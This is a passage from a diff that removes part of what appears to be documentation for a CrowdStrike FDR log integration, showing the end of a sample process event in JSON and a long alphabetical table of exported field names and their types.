-        "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
-        "entity_id": "2450046082233",
-        "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
-        "hash": {
-            "md5": "50d5fd1290d94d46acca0585311e74d5",
-            "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
-        },
-        "name": "backgroundTaskHost.exe",
-        "parent": {
-            "entity_id": "2439558094566",
-            "name": "svchost.exe"
-        },
-        "pid": 22272,
-        "start": "2020-11-08T17:06:21.648Z"
-    },
-    "related": {
-        "hash": [
-            "50d5fd1290d94d46acca0585311e74d5",
-            "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-            "3998263252"
-        ],
-        "hosts": [
-            "FEVWSN1-234",
-            "COMPUTER1"
-        ],
-        "ip": [
-            "67.43.156.14",
-            "16.15.12.10"
-        ],
-        "user": [
-            "Alan-One",
-            "DOMAIN\\BRADLEYA",
-            "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "forwarded",
-        "crowdstrike-fdr"
-    ],
-    "user": {
-        "domain": "DOMAIN",
-        "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
-        "name": "Alan-One"
-    }
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword |
-| aws.s3.bucket.name | The AWS S3 bucket name. | keyword |
-| aws.s3.object.key | The AWS S3 Object key. | keyword |
-| crowdstrike.AccessType |  | keyword |
-| crowdstrike.AccountDomain |  | match_only_text |
-| crowdstrike.AccountObjectGuid |  | match_only_text |
-| crowdstrike.AccountObjectSid |  | match_only_text |
-| crowdstrike.AccountType |  | keyword |
-| crowdstrike.ActiveDirectoryAuthenticationMethod |  | keyword |
-| crowdstrike.ActivityId |  | keyword |
-| crowdstrike.AddressFamily |  | keyword |
-| crowdstrike.AdminStatus |  | keyword |
-| crowdstrike.AgentIdString |  | keyword |
-| crowdstrike.AgentLoadFlags |  | keyword |
-| crowdstrike.AgentLocalTime |  | date |
-| crowdstrike.AgentTimeOffset |  | float |
-| crowdstrike.AgentVersion |  | keyword |
-| crowdstrike.AggregateId |  | keyword |
-| crowdstrike.AllocateVirtualMemoryCount |  | long |
-| crowdstrike.AllowlistingFilterId |  | keyword |
-| crowdstrike.AnodeIndicators |  | nested |
-| crowdstrike.AntiTamperStateFlag |  | keyword |
-| crowdstrike.ApiReturnValue |  | keyword |
-| crowdstrike.ApplicationName |  | match_only_text |
-| crowdstrike.ArchiveFileWrittenCount |  | long |
-| crowdstrike.AsepClass |  | keyword |
-| crowdstrike.AsepFlags |  | keyword |
-| crowdstrike.AsepIndex |  | keyword |
-| crowdstrike.AsepValueType |  | keyword |
-| crowdstrike.AsepWrittenCount |  | long |
-| crowdstrike.AssemblyFlags |  | keyword |
-| crowdstrike.AssemblyId |  | keyword |
-| crowdstrike.AssemblyName |  | keyword |
-| crowdstrike.AssociatedFile |  | keyword |
-| crowdstrike.Attacks.Tactic |  | keyword |
-| crowdstrike.Attacks.Technique |  | keyword |
-| crowdstrike.AttemptNumber |  | long |
-| crowdstrike.AuthenticationActivityId |  | keyword |
-| crowdstrike.AuthenticationId |  | keyword |
-| crowdstrike.AuthenticationPackage |  | keyword |
-| crowdstrike.AuthenticationUuid |  | keyword |
-| crowdstrike.AuthenticationUuidAsString |  | keyword |
-| crowdstrike.AuthenticodeHashData |  | keyword |
-| crowdstrike.AuthenticodeHashDataSHA256 |  | keyword |
-| crowdstrike.BaseReachableTime |  | keyword |
-| crowdstrike.BatchDataNumber |  | keyword |
-| crowdstrike.BatchDataTotal |  | keyword |
-| crowdstrike.BatchTimestamp |  | date |
-| crowdstrike.BinaryExecutableWrittenCount |  | long |
-| crowdstrike.BiosChanged |  | match_only_text |
-| crowdstrike.BiosManufacturer |  | keyword |
-| crowdstrike.BiosReleaseDate |  | date |
-| crowdstrike.BiosVersion |  | keyword |
-| crowdstrike.BluetoothClassOfDeviceValue |  | match_only_text |
-| crowdstrike.BluetoothDeviceAppearanceValue |  | match_only_text |
-| crowdstrike.BluetoothDeviceModelNumber |  | match_only_text |
-| crowdstrike.BluetoothDeviceName |  | match_only_text |
-| crowdstrike.BluetoothServiceName_1 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_3 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_4 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_5 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_6 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_7 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_8 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuidArray |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_1 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_2 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_3 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_4 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_5 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_6 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_7 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_8 |  | match_only_text |
-| crowdstrike.BluetoothVendorIdSource |  | match_only_text |
-| crowdstrike.BootArgs |  | keyword |
-| crowdstrike.BootTimeFunctionalityLevel |  | keyword |
-| crowdstrike.BoundedCount |  | long |
-| crowdstrike.BoundingLimitCount |  | long |
-| crowdstrike.BoundingLimitDuration |  | keyword |
-| crowdstrike.BrowserExtensionId |  | keyword |
-| crowdstrike.BrowserExtensionInstallMethod |  | keyword |
-| crowdstrike.BrowserExtensionStatusEnabled |  | keyword |
-| crowdstrike.BrowserFileHash |  | keyword |
-| crowdstrike.BrowserFilePath |  | keyword |
-| crowdstrike.BrowserName |  | keyword |
-| crowdstrike.BrowserProfileId |  | keyword |
-| crowdstrike.BrowserProfileName |  | keyword |
-| crowdstrike.BrowserVersion |  | keyword |
-| crowdstrike.BundleID |  | keyword |
-| crowdstrike.CLICreationCount |  | long |
-| crowdstrike.CNAMERecords |  | keyword |
-| crowdstrike.CallStackModuleNames |  | keyword |
-| crowdstrike.CallStackModuleNamesVersion |  | version |
-| crowdstrike.CapPrm |  | keyword |
-| crowdstrike.CertificateIssuer |  | keyword |
-| crowdstrike.CertificatePublisher |  | keyword |
-| crowdstrike.CertificateSignatureHash |  | keyword |
-| crowdstrike.CertificateSignatureHashAlgorithm |  | keyword |
-| crowdstrike.ChangeId |  | keyword |
-| crowdstrike.ChangeTime |  | date |
-| crowdstrike.ChangedPcrBitmap |  | match_only_text |
-| crowdstrike.ChannelDiffStatus |  | keyword |
-| crowdstrike.ChannelId |  | keyword |
-| crowdstrike.ChannelVersion |  | keyword |
-| crowdstrike.ChannelVersionRequired |  | keyword |
-| crowdstrike.ChasisManufacturer |  | keyword |
-| crowdstrike.ChassisType |  | keyword |
-| crowdstrike.ClientComputerName |  | keyword |
-| crowdstrike.ClientId |  | match_only_text |
-| crowdstrike.ClientProcessStartKey |  | keyword |
-| crowdstrike.CloudIndicator |  | boolean |
-| crowdstrike.CommandCount |  | match_only_text |
-| crowdstrike.CommandCountMax |  | match_only_text |
-| crowdstrike.CommandHistory |  | keyword |
-| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text |
-| crowdstrike.CompanyName |  | keyword |
-| crowdstrike.CompletionEventId |  | keyword |
-| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
-| crowdstrike.ConHostId |  | keyword |
-| crowdstrike.ConHostProcessId |  | keyword |
-| crowdstrike.ConfigBuild |  | keyword |
-| crowdstrike.ConfigIDBase |  | keyword |
-| crowdstrike.ConfigIDBuild |  | keyword |
-| crowdstrike.ConfigIDPlatform |  | keyword |
-| crowdstrike.ConfigStateData |  | text |
-| crowdstrike.ConfigStateHash |  | keyword |
-| crowdstrike.ConfigurationDescriptorName |  | match_only_text |
-| crowdstrike.ConfigurationVersion |  | keyword |
-| crowdstrike.ConnectTime |  | date |
-| crowdstrike.ConnectType |  | keyword |
-| crowdstrike.ConnectionAddressIP6 |  | match_only_text |
-| crowdstrike.ConnectionFlags |  | keyword |
-| crowdstrike.ConnectionType |  | keyword |
-| crowdstrike.ContentDiff.Exists |  | boolean |
-| crowdstrike.ContentPatternCounts |  | nested |
-| crowdstrike.ContentPatterns.ConfidenceLevel |  | long |
-| crowdstrike.ContentPatterns.ID |  | keyword |
-| crowdstrike.ContentPatterns.MatchCount |  | long |
-| crowdstrike.ContentPatterns.Name |  | keyword |
-| crowdstrike.ContentSHA256HashData |  | keyword |
-| crowdstrike.ContextBaseFileName |  | keyword |
-| crowdstrike.ContextImageFileName |  | keyword |
-| crowdstrike.ContextProcessId |  | keyword |
-| crowdstrike.ContextProcessTagsAsString |  | keyword |
-| crowdstrike.ContextTimeStamp | System local time of event creation. | date |
-| crowdstrike.CpuClockSpeed |  | keyword |
-| crowdstrike.CpuFeaturesMask |  | keyword |
-| crowdstrike.CpuProcessorName |  | keyword |
-| crowdstrike.CpuSignature |  | keyword |
-| crowdstrike.CpuVendor |  | keyword |
-| crowdstrike.CreateProcessCount |  | long |
-| crowdstrike.CreateProcessType |  | keyword |
-| crowdstrike.CurrentFunctionalityLevel |  | keyword |
-| crowdstrike.CurrentLocalIP |  | ip |
-| crowdstrike.CustomerIdString |  | keyword |
-| crowdstrike.CycleTime |  | long |
-| crowdstrike.DadState |  | keyword |
-| crowdstrike.DadTransmits |  | keyword |
-| crowdstrike.Data1 |  | keyword |
-| crowdstrike.DataDomains |  | keyword |
-| crowdstrike.DcNumAttachments |  | match_only_text |
-| crowdstrike.DcNumBlockingPolicies |  | match_only_text |
-| crowdstrike.Description |  | keyword |
-| crowdstrike.DesiredAccess |  | keyword |
-| crowdstrike.Destination |  | nested |
-| crowdstrike.Destination.Channel |  | keyword |
-| crowdstrike.DetectDescription |  | keyword |
-| crowdstrike.DetectId |  | keyword |
-| crowdstrike.DetectName |  | keyword |
-| crowdstrike.DetectionType |  | keyword |
-| crowdstrike.DeviceId |  | keyword |
-| crowdstrike.DeviceMountCounter |  | long |
-| crowdstrike.DevicePropertyClassGuid |  | match_only_text |
-| crowdstrike.DevicePropertyClassName |  | match_only_text |
-| crowdstrike.DevicePropertyLocationInformation |  | match_only_text |
-| crowdstrike.DirectionType |  | keyword |
-| crowdstrike.DirectoryCreatedCount |  | long |
-| crowdstrike.DirectoryEnumeratedCount |  | long |
-| crowdstrike.DllCharacteristics |  | keyword |
-| crowdstrike.DnsRequestCount |  | long |
-| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested |
-| crowdstrike.DnsResponseType |  | keyword |
-| crowdstrike.DocumentFileWrittenCount |  | long |
-| crowdstrike.DomainSid |  | keyword |
-| crowdstrike.DotnetModuleFlags |  | keyword |
-| crowdstrike.DotnetModuleId |  | keyword |
-| crowdstrike.DownloadPath |  | keyword |
-| crowdstrike.DownloadPort |  | long |
-| crowdstrike.DownloadServer |  | keyword |
-| crowdstrike.DriverLoadFlags |  | keyword |
-| crowdstrike.DualRequest |  | keyword |
-| crowdstrike.DylibPath |  | match_only_text |
-| crowdstrike.ELFSubType |  | keyword |
-| crowdstrike.EffectiveTransmissionClass |  | keyword |
-| crowdstrike.EfiVariableCustomModeAttributes |  | match_only_text |
-| crowdstrike.EfiVariableDbAttributes |  | match_only_text |
-| crowdstrike.EfiVariableDbSha256Hash |  | match_only_text |
-| crowdstrike.EfiVariableKekAttributes |  | match_only_text |
-| crowdstrike.EfiVariableKekSha256Hash |  | match_only_text |
-| crowdstrike.EfiVariablePkAttributes |  | match_only_text |
-| crowdstrike.EfiVariablePkSha256Hash |  | match_only_text |
-| crowdstrike.EfiVariableSecureBootAttributes |  | match_only_text |
-| crowdstrike.EfiVariableSetupMode |  | match_only_text |
-| crowdstrike.EfiVariableSetupModeAttributes |  | match_only_text |
-| crowdstrike.EfiVariableSignatureSupport |  | match_only_text |
-| crowdstrike.EfiVariableSignatureSupportAttributes |  | match_only_text |
-| crowdstrike.EgressEventId |  | keyword |
-| crowdstrike.EgressSessionId |  | keyword |
-| crowdstrike.EnabledPrivilegesBitmask |  | keyword |
-| crowdstrike.EndTime |  | date |
-| crowdstrike.Entitlements |  | keyword |
-| crowdstrike.EnvironmentVariableName |  | keyword |
-| crowdstrike.EnvironmentVariableValue |  | keyword |
-| crowdstrike.EnvironmentVariablesString |  | match_only_text |
-| crowdstrike.ErrorCode |  | keyword |
-| crowdstrike.ErrorStatus |  | keyword |
-| crowdstrike.EtwProviderType |  | keyword |
-| crowdstrike.EtwRawProcessId |  | long |
-| crowdstrike.EtwRawRpcClientProcessId |  | keyword |
-| crowdstrike.EtwRawThreadId |  | long |
-| crowdstrike.EventCorrelationId |  | keyword |
-| crowdstrike.EventOrigin |  | integer |
-| crowdstrike.EventTimestamp |  | date |
-| crowdstrike.EventType |  | keyword |
-| crowdstrike.EventUUID |  | keyword |
-| crowdstrike.ExceptionAddress |  | keyword |
-| crowdstrike.ExceptionCode |  | keyword |
-| crowdstrike.ExceptionInformation0 |  | keyword |
-| crowdstrike.ExclusionSource |  | keyword |
-| crowdstrike.ExclusionType |  | keyword |
-| crowdstrike.ExeAndServiceCount |  | long |
-| crowdstrike.ExecutableBytes |  | match_only_text |
-| crowdstrike.ExecutableDeletedCount |  | long |
-| crowdstrike.ExtendedAttributeValue |  | match_only_text |
-| crowdstrike.ExtendedAttributeValueReadable |  | match_only_text |
-| crowdstrike.ExtendedKeyUsages |  | keyword |
-| crowdstrike.ExternalApiType |  | keyword |
-| crowdstrike.FXFileSize |  | keyword |
-| crowdstrike.Facility |  | keyword |
-| crowdstrike.FailedConnectCount |  | long |
-| crowdstrike.FalconGroupingTags |  | keyword |
-| crowdstrike.FalconHostLink |  | keyword |
-| crowdstrike.FeatureExtractionVersion |  | keyword |
-| crowdstrike.FeatureVector |  | match_only_text |
-| crowdstrike.File |  | keyword |
-| crowdstrike.FileAttributes |  | keyword |
-| crowdstrike.FileAttributesNew |  | keyword |
-| crowdstrike.FileAttributesPrevious |  | keyword |
-| crowdstrike.FileCategory |  | keyword |
-| crowdstrike.FileCategoryCounts |  | nested |
-| crowdstrike.FileContent |  | match_only_text |
-| crowdstrike.FileDeletedCount |  | long |
-| crowdstrike.FileEcpBitmask |  | keyword |
-| crowdstrike.FileName |  | keyword |
-| crowdstrike.FileObject |  | keyword |
-| crowdstrike.FileOperatorSid |  | keyword |
-| crowdstrike.FilePath |  | keyword |
-| crowdstrike.FileSigningTime |  | keyword |
-| crowdstrike.FileSubType |  | keyword |
-| crowdstrike.FileSystemOperationType |  | keyword |
-| crowdstrike.FileType.Type.CategoryID |  | keyword |
-| crowdstrike.FileType.Type.CategoryName |  | keyword |
-| crowdstrike.FileType.Type.Description |  | keyword |
-| crowdstrike.FileType.Type.ID |  | keyword |
-| crowdstrike.FileType.Type.Name |  | keyword |
-| crowdstrike.FileVaultIsEnabled |  | match_only_text |
-| crowdstrike.FileVersion |  | keyword |
-| crowdstrike.FileWrittenFlags |  | keyword |
-| crowdstrike.FilesAccessed.FileName |  | keyword |
-| crowdstrike.FilesAccessed.FilePath |  | keyword |
-| crowdstrike.FilesAccessed.Timestamp |  | date |
-| crowdstrike.FilesEgressedCount |  | long |
-| crowdstrike.FilesWritten.FileName |  | keyword |
-| crowdstrike.FilesWritten.FilePath |  | keyword |
-| crowdstrike.FilesWritten.Timestamp |  | date |
-| crowdstrike.FirewallAction |  | keyword |
-| crowdstrike.FirewallOption |  | keyword |
-| crowdstrike.FirewallOptionNumericValue |  | keyword |
-| crowdstrike.FirewallProfile |  | keyword |
-| crowdstrike.FirewallRule |  | keyword |
-| crowdstrike.FirewallRuleId |  | keyword |
-| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion |  | keyword |
-| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion |  | keyword |
-| crowdstrike.FirstCommand |  | match_only_text |
-| crowdstrike.FirstDiscoveredDate |  | date |
-| crowdstrike.FirstIP4Record |  | keyword |
-| crowdstrike.FirstSeen |  | date |
-| crowdstrike.FixedFileVersion |  | keyword |
-| crowdstrike.Flags |  | keyword |
-| crowdstrike.FltCallbackData |  | keyword |
-| crowdstrike.FltCompletionContext |  | keyword |
-| crowdstrike.FltRelatedObjects |  | keyword |
-| crowdstrike.FontBuffer |  | keyword |
-| crowdstrike.FontBufferLength |  | keyword |
-| crowdstrike.FontFileCount |  | long |
-| crowdstrike.FontFileName |  | keyword |
-| crowdstrike.FontLoadOperation |  | keyword |
-| crowdstrike.FsOperationClassification |  | keyword |
-| crowdstrike.FsOperationClassificationFlags |  | keyword |
-| crowdstrike.FullExceptionRecord |  | keyword |
-| crowdstrike.GenericFileWrittenCount |  | long |
-| crowdstrike.GrandParentBaseFileName |  | keyword |
-| crowdstrike.GrandparentCommandLine |  | keyword |
-| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text |
-| crowdstrike.GrandparentImageFileName |  | keyword |
-| crowdstrike.GrandparentImageFilePath |  | keyword |
-| crowdstrike.GrandparentProcessId |  | keyword |
-| crowdstrike.GroupRid |  | keyword |
-| crowdstrike.HandleCreateAuthenticationId |  | keyword |
-| crowdstrike.HandleCreated |  | keyword |
-| crowdstrike.HandleOperationType |  | keyword |
-| crowdstrike.HashAlgorithm |  | keyword |
-| crowdstrike.HostGroups |  | keyword |
-| crowdstrike.HostHiddenStatus |  | keyword |
-| crowdstrike.HostProcessType |  | keyword |
-| crowdstrike.HttpInternalSource |  | match_only_text |
-| crowdstrike.HttpMethod |  | match_only_text |
-| crowdstrike.HttpRequestHeader |  | match_only_text |
-| crowdstrike.HttpUrl |  | match_only_text |
-| crowdstrike.IOCType |  | keyword |
-| crowdstrike.IOCValue |  | keyword |
-| crowdstrike.IOServiceClass |  | keyword |
-| crowdstrike.IOServiceName |  | keyword |
-| crowdstrike.IOServicePath |  | keyword |
-| crowdstrike.IP4Records |  | keyword |
-| crowdstrike.IcmpCode |  | keyword |
-| crowdstrike.IcmpType |  | keyword |
-| crowdstrike.IfType |  | keyword |
-| crowdstrike.ImageBaseName |  | keyword |
-| crowdstrike.ImageCheckSum |  | keyword |
-| crowdstrike.ImageEntryPoint |  | keyword |
-| crowdstrike.ImageFileName |  | keyword |
-| crowdstrike.ImageSignatureLevel |  | keyword |
-| crowdstrike.ImageSignatureType |  | keyword |
-| crowdstrike.ImageSubsystem |  | keyword |
-| crowdstrike.ImageTimeStamp |  | keyword |
-| crowdstrike.ImpersonatedUserName |  | keyword |
-| crowdstrike.InBroadcastOctets |  | keyword |
-| crowdstrike.InContext |  | keyword |
-| crowdstrike.InDiscards |  | keyword |
-| crowdstrike.InErrors |  | keyword |
-| crowdstrike.InMulticastOctets |  | keyword |
-| crowdstrike.InMulticastPkts |  | keyword |
-| crowdstrike.InNUcastPkts |  | keyword |
-| crowdstrike.InOctets |  | keyword |
-| crowdstrike.InUcastOctets |  | keyword |
-| crowdstrike.InUcastPkts |  | keyword |
-| crowdstrike.InUnknownProtos |  | keyword |
-| crowdstrike.IndividualDiskInfo |  | match_only_text |
-| crowdstrike.Information |  | keyword |
-| crowdstrike.InjectedDll |  | keyword |
-| crowdstrike.InjectedDllCount |  | long |
-| crowdstrike.InjectedThreadCount |  | long |
-| crowdstrike.InjectedThreadFlag |  | keyword |
-| crowdstrike.InstanceMetadata |  | match_only_text |
-| crowdstrike.InstanceMetadataSignature |  | match_only_text |
-| crowdstrike.IntegrityLevel |  | keyword |
-| crowdstrike.InterfaceAlias |  | keyword |
-| crowdstrike.InterfaceDescription |  | keyword |
-| crowdstrike.InterfaceFlags |  | keyword |
-| crowdstrike.InterfaceGuid |  | keyword |
-| crowdstrike.InterfaceIdentifier |  | keyword |
-| crowdstrike.InterfaceIndex |  | long |
-| crowdstrike.InterfaceKind |  | match_only_text |
-| crowdstrike.InterfaceMtu |  | keyword |
-| crowdstrike.InterfaceType |  | keyword |
-| crowdstrike.InterfaceVersion |  | keyword |
-| crowdstrike.IpEntryFlags |  | keyword |
-| crowdstrike.IrpFlags |  | keyword |
-| crowdstrike.IsClipboard |  | boolean |
-| crowdstrike.IsEBPF |  | keyword |
-| crowdstrike.IsFromDifferentMountNamespace |  | keyword |
-| crowdstrike.IsHosted |  | keyword |
-| crowdstrike.IsOnNetwork |  | keyword |
-| crowdstrike.IsOnRemovableDisk |  | keyword |
-| crowdstrike.IsProcessInitializing |  | keyword |
-| crowdstrike.IsTransactedFile |  | keyword |
-| crowdstrike.IsUnique |  | keyword |
-| crowdstrike.KernelTime |  | long |
-| crowdstrike.KeyObject |  | match_only_text |
-| crowdstrike.LanguageId |  | keyword |
-| crowdstrike.LastAdded |  | match_only_text |
-| crowdstrike.LastDiscoveredBy |  | keyword |
-| crowdstrike.LastDisplayed |  | match_only_text |
-| crowdstrike.LastLoggedOnHost |  | keyword |
-| crowdstrike.LastPendingUpdateInstalledTime |  | match_only_text |
-| crowdstrike.LaunchItemType |  | match_only_text |
-| crowdstrike.LaunchItemUrl |  | match_only_text |
-| crowdstrike.LdapSearchFilterSample |  | match_only_text |
-| crowdstrike.LfoUploadFlags |  | keyword |
-| crowdstrike.LightningLatencyState |  | keyword |
-| crowdstrike.Line |  | keyword |
-| crowdstrike.LinkLocalAddressBehavior |  | keyword |
-| crowdstrike.LinkLocalAddressTimeout |  | keyword |
-| crowdstrike.LocalAddressIP4 |  | ip |
-| crowdstrike.LocalAddressIP6 |  | ip |
-| crowdstrike.LocalAddressMaskIP4 |  | keyword |
-| crowdstrike.LocalAddressMaskIP6 |  | keyword |
-| crowdstrike.LocalAdminAccess |  | keyword |
-| crowdstrike.LocalIP |  | ip |
-| crowdstrike.LocalIPv6 |  | ip |
-| crowdstrike.LocalIpAddressPipelineSource |  | keyword |
-| crowdstrike.LogicalCoreCount |  | long |
-| crowdstrike.LoginSessionId |  | keyword |
-| crowdstrike.LogoffTime |  | date |
-| crowdstrike.LogonDomain |  | keyword |
-| crowdstrike.LogonId |  | keyword |
-| crowdstrike.LogonInfo |  | keyword |
-| crowdstrike.LogonServer |  | keyword |
-| crowdstrike.LogonTime |  | date |
-| crowdstrike.LogonType |  | keyword |
-| crowdstrike.MACAddress |  | keyword |
-| crowdstrike.MACPrefix |  | keyword |
-| crowdstrike.MD5HashData |  | keyword |
-| crowdstrike.MD5String |  | keyword |
-| crowdstrike.MLModelVersion |  | keyword |
-| crowdstrike.MachOSubType |  | keyword |
-| crowdstrike.MajorFunction |  | keyword |
-| crowdstrike.MajorVersion |  | keyword |
-| crowdstrike.Malicious |  | keyword |
-| crowdstrike.ManagedPdbBuildPath |  | match_only_text |
-| crowdstrike.MappedFromUserMode |  | keyword |
-| crowdstrike.MatchedClassification.ID |  | keyword |
-| crowdstrike.MatchedClassification.Name |  | keyword |
-| crowdstrike.MaxReassemblySize |  | keyword |
-| crowdstrike.MaxRouterAdvertisementInterval |  | keyword |
-| crowdstrike.MaxThreadCount |  | long |
-| crowdstrike.MediaConnectState |  | keyword |
-| crowdstrike.MediaType |  | keyword |
-| crowdstrike.MemoryAvailable |  | match_only_text |
-| crowdstrike.MemoryTotal |  | keyword |
-| crowdstrike.Metric |  | keyword |
-| crowdstrike.MicrocodeSignature |  | keyword |
-| crowdstrike.MinRouterAdvertisementInterval |  | keyword |
-| crowdstrike.MinorFunction |  | keyword |
-| crowdstrike.MinorVersion |  | keyword |
-| crowdstrike.MmioDataGenPmconB |  | match_only_text |
-| crowdstrike.MmioDataSmiEn |  | match_only_text |
-| crowdstrike.MmioDataTco1Cnt |  | match_only_text |
-| crowdstrike.MoboManufacturer |  | keyword |
-| crowdstrike.MoboProductName |  | keyword |
-| crowdstrike.ModelPrediction |  | keyword |
-| crowdstrike.ModuleCharacteristics |  | keyword |
-| crowdstrike.ModuleILPath |  | keyword |
-| crowdstrike.ModuleLoadCount |  | long |
-| crowdstrike.ModuleLoadTelemetryClassification |  | keyword |
-| crowdstrike.ModuleSize |  | keyword |
-| crowdstrike.MountedVolumeAction |  | keyword |
-| crowdstrike.NDRoot |  | keyword |
-| crowdstrike.NegateInterface |  | keyword |
-| crowdstrike.NegateLocalAddress |  | keyword |
-| crowdstrike.NegateRemoteAddress |  | keyword |
-| crowdstrike.NeighborList |  | keyword |
-| crowdstrike.NeighborName |  | keyword |
-| crowdstrike.NetLuidIndex |  | long |
-| crowdstrike.NetworkAccesses.AccessTimestamp |  | keyword |
-| crowdstrike.NetworkAccesses.AccessType |  | keyword |
-| crowdstrike.NetworkAccesses.ConnectionDirection |  | keyword |
-| crowdstrike.NetworkAccesses.IsIPV6 |  | keyword |
-| crowdstrike.NetworkAccesses.LocalAddress |  | keyword |
-| crowdstrike.NetworkAccesses.LocalPort |  | keyword |
-| crowdstrike.NetworkAccesses.Protocol |  | keyword |
-| crowdstrike.NetworkAccesses.RemoteAddress |  | keyword |
-| crowdstrike.NetworkAccesses.RemotePort |  | keyword |
-| crowdstrike.NetworkBindCount |  | long |
-| crowdstrike.NetworkCapableAsepWriteCount |  | long |
-| crowdstrike.NetworkCloseCount |  | long |
-| crowdstrike.NetworkConnectCount |  | long |
-| crowdstrike.NetworkConnectCountUdp |  | long |
-| crowdstrike.NetworkContainmentState |  | keyword |
-| crowdstrike.NetworkGuid |  | keyword |
-| crowdstrike.NetworkInterfaceGuid |  | keyword |
-| crowdstrike.NetworkListenCount |  | long |
-| crowdstrike.NetworkModuleLoadCount |  | long |
-| crowdstrike.NetworkRecvAcceptCount |  | long |
-| crowdstrike.NewExecutableWrittenCount |  | long |
-| crowdstrike.NewFileAttributesLinux |  | keyword |
-| crowdstrike.NewFileIdentifier |  | keyword |
-| crowdstrike.NewUnixPermissions |  | keyword |
-| crowdstrike.NlMtu |  | keyword |
-| crowdstrike.Nonce |  | unsigned_long |
-| crowdstrike.OSVersionFileData |  | match_only_text |
-| crowdstrike.OSVersionFileName |  | keyword |
-| crowdstrike.OU |  | keyword |
-| crowdstrike.Object1Type |  | keyword |
-| crowdstrike.ObjectAccessOperationType |  | keyword |
-| crowdstrike.ObjectNameEtw |  | match_only_text |
-| crowdstrike.ObjectType |  | keyword |
-| crowdstrike.ObjectTypeEtw |  | match_only_text |
-| crowdstrike.Objective |  | keyword |
-| crowdstrike.OciContainerAppName |  | match_only_text |
-| crowdstrike.OciContainerAppVersion |  | match_only_text |
-| crowdstrike.OciContainerConfigImage |  | match_only_text |
-| crowdstrike.OciContainerConfigLabels |  | match_only_text |
-| crowdstrike.OciContainerConfigTty |  | match_only_text |
-| crowdstrike.OciContainerConfigUser |  | match_only_text |
-| crowdstrike.OciContainerEngineType |  | match_only_text |
-| crowdstrike.OciContainerHostConfigCgroup |  | match_only_text |
-| crowdstrike.OciContainerHostConfigDevices |  | match_only_text |
-| crowdstrike.OciContainerHostConfigOomKillDisable |  | match_only_text |
-| crowdstrike.OciContainerHostConfigPrivileged |  | match_only_text |
-| crowdstrike.OciContainerHostConfigPublishAllPorts |  | match_only_text |
-| crowdstrike.OciContainerHostConfigReadOnlyRootfs |  | match_only_text |
-| crowdstrike.OciContainerId |  | match_only_text |
-| crowdstrike.OciContainerImageId |  | match_only_text |
-| crowdstrike.OciContainerInfoRetransmitted |  | match_only_text |
-| crowdstrike.OciContainerMounts |  | match_only_text |
-| crowdstrike.OciContainerName |  | match_only_text |
-| crowdstrike.OciContainerNetworkSettingsIpAddress |  | match_only_text |
-| crowdstrike.OciContainerPhase |  | match_only_text |
-| crowdstrike.OciContainerStateOOMKilled |  | match_only_text |
-| crowdstrike.OciContainerStatePid |  | match_only_text |
-| crowdstrike.OciContainersStartedCount |  | match_only_text |
-| crowdstrike.OciContainersStoppedCount |  | match_only_text |
-| crowdstrike.OnLinkPrefixLength |  | keyword |
-| crowdstrike.OperStatus |  | keyword |
-| crowdstrike.OperationFlags |  | keyword |
-| crowdstrike.Options |  | keyword |
-| crowdstrike.OriginWebLocations |  | flattened |
-| crowdstrike.OriginalContentLength |  | keyword |
-| crowdstrike.OriginalEventTimeStamp |  | keyword |
-| crowdstrike.OriginalFilename |  | keyword |
-| crowdstrike.OriginalParentAuthenticationId |  | keyword |
-| crowdstrike.OriginalUserName |  | keyword |
-| crowdstrike.OriginalUserSid |  | keyword |
-| crowdstrike.OutBroadcastOctets |  | keyword |
-| crowdstrike.OutDiscards |  | keyword |
-| crowdstrike.OutErrors |  | keyword |
-| crowdstrike.OutMulticastOctets |  | keyword |
-| crowdstrike.OutMulticastPkts |  | keyword |
-| crowdstrike.OutNUcastPkts |  | keyword |
-| crowdstrike.OutOctets |  | keyword |
-| crowdstrike.OutUcastOctets |  | keyword |
-| crowdstrike.OutUcastPkts |  | keyword |
-| crowdstrike.Parameter1 |  | keyword |
-| crowdstrike.Parameter2 |  | keyword |
-| crowdstrike.Parameter3 |  | keyword |
-| crowdstrike.Parameter64_1 |  | keyword |
-| crowdstrike.Parameter64_2 |  | keyword |
-| crowdstrike.Parameter64_3 |  | keyword |
-| crowdstrike.ParentAuthenticationId |  | keyword |
-| crowdstrike.ParentCommandLine |  | keyword |
-| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text |
-| crowdstrike.ParentImageFileName |  | keyword |
-| crowdstrike.ParentImageFilePath |  | keyword |
-| crowdstrike.ParentProcessPatternIdList |  | keyword |
